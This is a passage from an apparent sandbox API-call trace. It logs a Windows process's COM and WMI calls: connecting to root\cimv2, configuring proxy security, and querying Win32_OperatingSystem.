[6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffb15d96708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1da9e350 | out: ppv=0x1da9e350*=0x1d2184b0) returned 0x0 [0301.075] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1d2184b0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1da9e4c8 | out: ppNamespace=0x1da9e4c8*=0x1d290740) returned 0x0 [0301.091] WbemLocator:IUnknown:QueryInterface (in: This=0x1d290740, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e1c8 | out: ppvObject=0x1da9e1c8*=0x1b202cd0) returned 0x0 [0301.091] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b202cd0, pProxy=0x1d290740, pAuthnSvc=0x1da9e290, pAuthzSvc=0x1da9e210, pServerPrincName=0x1da9e238, pAuthnLevel=0x1da9e214, pImpLevel=0x1da9e220, pAuthInfo=0x1da9e248, pCapabilites=0x1da9e224 | out: pAuthnSvc=0x1da9e290*=0xa, pAuthzSvc=0x1da9e210*=0x0, pServerPrincName=0x1da9e238, pAuthnLevel=0x1da9e214*=0x6, pImpLevel=0x1da9e220*=0x2, pAuthInfo=0x1da9e248, pCapabilites=0x1da9e224*=0x1) returned 0x0 [0301.092] WbemLocator:IUnknown:Release (This=0x1b202cd0) returned 0x1 [0301.092] WbemLocator:IUnknown:QueryInterface (in: This=0x1d290740, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e160 | out: ppvObject=0x1da9e160*=0x1b202d18) returned 0x0 [0301.092] WbemLocator:IUnknown:QueryInterface (in: This=0x1d290740, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e170 | out: ppvObject=0x1da9e170*=0x1b202cd0) returned 0x0 [0301.092] WbemLocator:IClientSecurity:SetBlanket (This=0x1b202cd0, pProxy=0x1d290740, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0301.092] WbemLocator:IUnknown:Release (This=0x1b202cd0) returned 0x2 [0301.092] WbemLocator:IUnknown:Release (This=0x1b202d18) returned 0x1 [0301.092] CoTaskMemFree (pv=0x1d1e6f90) [0301.092] WbemLocator:IUnknown:Release (This=0x1d2184b0) returned 0x0 [0301.092] WbemLocator:IUnknown:QueryInterface (in: This=0x1d290740, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9dc60 | out: ppvObject=0x1da9dc60*=0x1b202d18) returned 0x0 [0301.093] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202d18, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9dcf0 | out: ppvObject=0x1da9dcf0*=0x0) returned 0x80004002 [0301.093] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202d18, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9d910 | out: ppvObject=0x1da9d910*=0x0) returned 0x80004002 [0301.093] WbemLocator:IUnknown:QueryInterface (in: This=0x1d290740, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d4e8 | out: ppvObject=0x1da9d4e8*=0x0) returned 0x80004002 [0301.094] WbemLocator:IUnknown:AddRef (This=0x1b202d18) returned 0x3 [0301.094] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202d18, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d3a8 | out: ppvObject=0x1da9d3a8*=0x0) returned 0x80004002 [0301.094] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202d18, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9d330 | out: ppvObject=0x1da9d330*=0x0) returned 0x80004002 [0301.094] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202d18, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d320 | out: ppvObject=0x1da9d320*=0x1b202bf8) returned 0x0 [0301.094] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b202bf8, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9d348 | out: pCid=0x1da9d348*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0301.094] WbemLocator:IUnknown:Release (This=0x1b202bf8) returned 0x3 [0301.094] CoGetContextToken (in: pToken=0x1da9d3d0 | out: pToken=0x1da9d3d0) returned 0x0 [0301.094] CoGetContextToken (in: pToken=0x1da9d850 | out: pToken=0x1da9d850) returned 0x0 [0301.104] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202d18, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d910 | out: ppvObject=0x1da9d910*=0x1b202ce0) returned 0x0 [0301.105] WbemLocator:IRpcOptions:Query (in: This=0x1b202ce0, pPrx=0x1b202d18, dwProperty=2, pdwValue=0x1da9d900 | out: pdwValue=0x1da9d900) returned 0x80004002 [0301.105] WbemLocator:IUnknown:Release (This=0x1b202ce0) returned 0x3 [0301.105] WbemLocator:IUnknown:Release (This=0x1b202d18) returned 0x2 [0301.105] CoGetContextToken (in: pToken=0x1da9df10 | out: pToken=0x1da9df10) returned 0x0 [0301.105] CoGetContextToken (in: pToken=0x1da9de10 | out: pToken=0x1da9de10) returned 0x0 [0301.105] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202d18, riid=0x1da9df70*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1da9df40 | out: ppvObject=0x1da9df40*=0x1d290740) returned 0x0 [0301.105] WbemLocator:IUnknown:AddRef (This=0x1d290740) returned 0x4 [0301.105] WbemLocator:IUnknown:Release (This=0x1d290740) returned 0x3 [0301.105] WbemLocator:IUnknown:Release (This=0x1d290740) returned 0x2 [0301.105] SysStringLen (param_1=0x0) returned 0x0 [0301.106] CoGetContextToken (in: pToken=0x1da9e040 | out: pToken=0x1da9e040) returned 0x0 [0301.106] WbemLocator:IUnknown:AddRef (This=0x1b202d18) returned 0x3 [0301.106] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202d18, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e040 | out: ppvObject=0x1da9e040*=0x1b202d18) returned 0x0 [0301.106] WbemLocator:IUnknown:Release (This=0x1b202d18) returned 0x3 [0301.106] WbemLocator:IUnknown:Release (This=0x1b202d18) returned 0x2 [0301.106] CoGetContextToken (in: pToken=0x1da9e170 | out: pToken=0x1da9e170) returned 0x0 [0301.106] WbemLocator:IUnknown:AddRef (This=0x1d290740) returned 0x3 [0301.106] IWbemServices:ExecQuery (in: This=0x1d290740, strQueryLanguage="WQL", strQuery="select * from Win32_OperatingSystem", lFlags=16, pCtx=0x0, ppEnum=0x1da9e618 | out: ppEnum=0x1da9e618*=0x1b286320) returned 0x0 [0301.128] IUnknown:QueryInterface (in: This=0x1b286320, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e2e8 | out: ppvObject=0x1da9e2e8*=0x1b286328) returned 0x0 [0301.128] IClientSecurity:QueryBlanket (in: This=0x1b286328, pProxy=0x1b286320, pAuthnSvc=0x1da9e3b0, pAuthzSvc=0x1da9e330, pServerPrincName=0x1da9e358, pAuthnLevel=0x1da9e334, pImpLevel=0x1da9e340, pAuthInfo=0x1da9e368, pCapabilites=0x1da9e344 | out: pAuthnSvc=0x1da9e3b0*=0xa, pAuthzSvc=0x1da9e330*=0x0, pServerPrincName=0x1da9e358, pAuthnLevel=0x1da9e334*=0x6, pImpLevel=0x1da9e340*=0x2, pAuthInfo=0x1da9e368, pCapabilites=0x1da9e344*=0x1) returned 0x0 [0301.128] IUnknown:Release (This=0x1b286328) returned 0x1 [0301.128] IUnknown:QueryInterface (in: This=0x1b286320, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e280 | out: ppvObject=0x1da9e280*=0x1b2036d8) returned 0x0 [0301.128] IUnknown:QueryInterface (in: This=0x1b286320, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e290 | out: ppvObject=0x1da9e290*=0x1b286328) returned 0x0 [0301.129] IClientSecurity:SetBlanket (This=0x1b286328, pProxy=0x1b286320, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0301.158] IUnknown:Release (This=0x1b286328) returned 0x2 [0301.159] WbemLocator:IUnknown:Release (This=0x1b2036d8) returned 0x1 [0301.159] CoTaskMemFree (pv=0x1d1e6e40) [0301.159] IUnknown:QueryInterface (in: This=0x1b286320, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9dd50 | out: ppvObject=0x1da9dd50*=0x1b2036d8) returned 0x0 [0301.159] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2036d8, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9dde0 | out: ppvObject=0x1da9dde0*=0x0) returned 0x80004002 [0301.160] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2036d8, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9da00 | out: ppvObject=0x1da9da00*=0x0) returned 0x80004002 [0301.160] IUnknown:QueryInterface (in: This=0x1b286320, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d5d8 | out: ppvObject=0x1da9d5d8*=0x0) returned 0x80004002 [0301.161] WbemLocator:IUnknown:AddRef (This=0x1b2036d8) returned 0x3 [0301.161] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2036d8, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d498 | out: ppvObject=0x1da9d498*=0x0) returned 0x80004002 [0301.161] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2036d8, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9d420 | out: ppvObject=0x1da9d420*=0x0) returned 0x80004002 [0301.161] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2036d8, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d410 | out: ppvObject=0x1da9d410*=0x1b2035b8) returned 0x0 [0301.161] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b2035b8, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9d438 | out: pCid=0x1da9d438*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0301.162] WbemLocator:IUnknown:Release (This=0x1b2035b8) returned 0x3 [0301.162] CoGetContextToken (in: pToken=0x1da9d4c0 | out: pToken=0x1da9d4c0) returned 0x0 [0301.162] CoGetContextToken (in: pToken=0x1da9d940 | out: pToken=0x1da9d940) returned 0x0 [0301.162] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2036d8, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9da00 | out: ppvObject=0x1da9da00*=0x1b2036a0) returned 0x0 [0301.162] WbemLocator:IRpcOptions:Query (in: This=0x1b2036a0, pPrx=0x1b2036d8, dwProperty=2, pdwValue=0x1da9d9f0 | out: pdwValue=0x1da9d9f0) returned 0x80004002 [0301.162] WbemLocator:IUnknown:Release (This=0x1b2036a0) returned 0x3 [0301.162] WbemLocator:IUnknown:Release (This=0x1b2036d8) returned 0x2 [0301.162] CoGetContextToken (in: pToken=0x1da9e000 | out: pToken=0x1da9e000) returned 0x0 [0301.162] CoGetContextToken (in: pToken=0x1da9df00 | out: pToken=0x1da9df00) returned 0x0 [0301.162] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2036d8, riid=0x1da9e060*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1da9e030 | out: ppvObject=0x1da9e030*=0x1b286320) returned 0x0 [0301.162] IUnknown:AddRef (This=0x1b286320) returned 0x4 [0301.162] IUnknown:Release (This=0x1b286320) returned 0x3 [0301.162] IUnknown:Release (This=0x1b286320) returned 0x2 [0301.162] WbemLocator:IUnknown:Release (This=0x1d290740) returned 0x2 [0301.162] SysStringLen (param_1=0x0) returned 0x0 [0301.163] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e658 | out: puCount=0x1da9e658*=0x2) returned 0x0 [0301.163] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e650*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e650*=0xf, pszText=0x0) returned 0x0 [0301.163] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e650*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e650*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0301.163] CoGetContextToken (in: pToken=0x1da9e190 | out: pToken=0x1da9e190) returned 0x0 [0301.163] IUnknown:AddRef (This=0x1b286320) returned 0x3 [0301.163] IEnumWbemClassObject:Clone (in: This=0x1b286320, ppEnum=0x1da9e590 | out: ppEnum=0x1da9e590*=0x1b286c50) returned 0x0 [0301.165] IUnknown:QueryInterface (in: This=0x1b286c50, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e318 | out: ppvObject=0x1da9e318*=0x1b286c58) returned 0x0 [0301.165] IClientSecurity:QueryBlanket (in: This=0x1b286c58, pProxy=0x1b286c50, pAuthnSvc=0x1da9e3e0, pAuthzSvc=0x1da9e360, pServerPrincName=0x1da9e388, pAuthnLevel=0x1da9e364, pImpLevel=0x1da9e370, pAuthInfo=0x1da9e398, pCapabilites=0x1da9e374 | out: pAuthnSvc=0x1da9e3e0*=0xa, pAuthzSvc=0x1da9e360*=0x0, pServerPrincName=0x1da9e388, pAuthnLevel=0x1da9e364*=0x6, pImpLevel=0x1da9e370*=0x2, pAuthInfo=0x1da9e398, pCapabilites=0x1da9e374*=0x1) returned 0x0 [0301.165] IUnknown:Release (This=0x1b286c58) returned 0x1 [0301.165] IUnknown:QueryInterface (in: This=0x1b286c50, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e2b0 | out: ppvObject=0x1da9e2b0*=0x1b203398) returned 0x0 [0301.165] IUnknown:QueryInterface (in: This=0x1b286c50, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e2c0 | out: ppvObject=0x1da9e2c0*=0x1b286c58) returned 0x0 [0301.165] IClientSecurity:SetBlanket (This=0x1b286c58, pProxy=0x1b286c50, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0301.167] IUnknown:Release (This=0x1b286c58) returned 0x2 [0301.167] WbemLocator:IUnknown:Release (This=0x1b203398) returned 0x1 [0301.167] CoTaskMemFree (pv=0x1d1e6930) [0301.167] IUnknown:QueryInterface (in: This=0x1b286c50, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9dd70 | out: ppvObject=0x1da9dd70*=0x1b203398) returned 0x0 [0301.167] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203398, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9de00 | out: ppvObject=0x1da9de00*=0x0) returned 0x80004002 [0301.168] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203398, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9da20 | out: ppvObject=0x1da9da20*=0x0) returned 0x80004002 [0301.168] IUnknown:QueryInterface (in: This=0x1b286c50, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d5f8 | out: ppvObject=0x1da9d5f8*=0x0) returned 0x80004002 [0301.169] WbemLocator:IUnknown:AddRef (This=0x1b203398) returned 0x3 [0301.169] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203398, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d4b8 | out: ppvObject=0x1da9d4b8*=0x0) returned 0x80004002 [0301.169] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203398, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9d440 | out: ppvObject=0x1da9d440*=0x0) returned 0x80004002 [0301.169] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203398, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d430 | out: ppvObject=0x1da9d430*=0x1b203278) returned 0x0 [0301.169] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b203278, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9d458 | out: pCid=0x1da9d458*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0301.169] WbemLocator:IUnknown:Release (This=0x1b203278) returned 0x3 [0301.169] CoGetContextToken (in: pToken=0x1da9d4e0 | out: pToken=0x1da9d4e0) returned 0x0 [0301.170] CoGetContextToken (in: pToken=0x1da9d960 | out: pToken=0x1da9d960) returned 0x0 [0301.170] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203398, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9da20 | out: ppvObject=0x1da9da20*=0x1b203360) returned 0x0 [0301.170] WbemLocator:IRpcOptions:Query (in: This=0x1b203360, pPrx=0x1b203398, dwProperty=2, pdwValue=0x1da9da10 | out: pdwValue=0x1da9da10) returned 0x80004002 [0301.170] WbemLocator:IUnknown:Release (This=0x1b203360) returned 0x3 [0301.170] WbemLocator:IUnknown:Release (This=0x1b203398) returned 0x2 [0301.170] CoGetContextToken (in: pToken=0x1da9e020 | out: pToken=0x1da9e020) returned 0x0 [0301.170] CoGetContextToken (in: pToken=0x1da9df20 | out: pToken=0x1da9df20) returned 0x0 [0301.170] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203398, riid=0x1da9e080*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1da9e050 | out: ppvObject=0x1da9e050*=0x1b286c50) returned 0x0 [0301.170] IUnknown:AddRef (This=0x1b286c50) returned 0x4 [0301.170] IUnknown:Release (This=0x1b286c50) returned 0x3 [0301.170] IUnknown:Release (This=0x1b286c50) returned 0x2 [0301.170] IUnknown:Release (This=0x1b286320) returned 0x2 [0301.170] SysStringLen (param_1=0x0) returned 0x0 [0301.170] IEnumWbemClassObject:Reset (This=0x1b286c50) returned 0x0 [0301.171] CoTaskMemAlloc (cb=0x8) returned 0x1d1c0f40 [0301.171] IEnumWbemClassObject:Next (in: This=0x1b286c50, lTimeout=-1, uCount=0x1, apObjects=0x1d1c0f40, puReturned=0x2862910 | out: apObjects=0x1d1c0f40*=0x1b268750, puReturned=0x2862910*=0x1) returned 0x0 [0301.176] IUnknown:QueryInterface (in: This=0x1b268750, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d910 | out: ppvObject=0x1da9d910*=0x1b268750) returned 0x0 [0301.176] IUnknown:QueryInterface (in: This=0x1b268750, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9d9a0 | out: ppvObject=0x1da9d9a0*=0x0) returned 0x80004002 [0301.177] IUnknown:QueryInterface (in: This=0x1b268750, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9d5c0 | out: ppvObject=0x1da9d5c0*=0x0) returned 0x80004002 [0301.177] IUnknown:QueryInterface (in: This=0x1b268750, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d198 | out: ppvObject=0x1da9d198*=0x0) returned 0x80004002 [0301.177] IUnknown:AddRef (This=0x1b268750) returned 0x3 [0301.177] IUnknown:QueryInterface (in: This=0x1b268750, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d058 | out: ppvObject=0x1da9d058*=0x0) returned 0x80004002 [0301.177] IUnknown:QueryInterface (in: This=0x1b268750, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9cfe0 | out: ppvObject=0x1da9cfe0*=0x0) returned 0x80004002 [0301.177] IUnknown:QueryInterface (in: This=0x1b268750, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9cfd0 | out: ppvObject=0x1da9cfd0*=0x1b268758) returned 0x0 [0301.177] IMarshal:GetUnmarshalClass (in: This=0x1b268758, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, 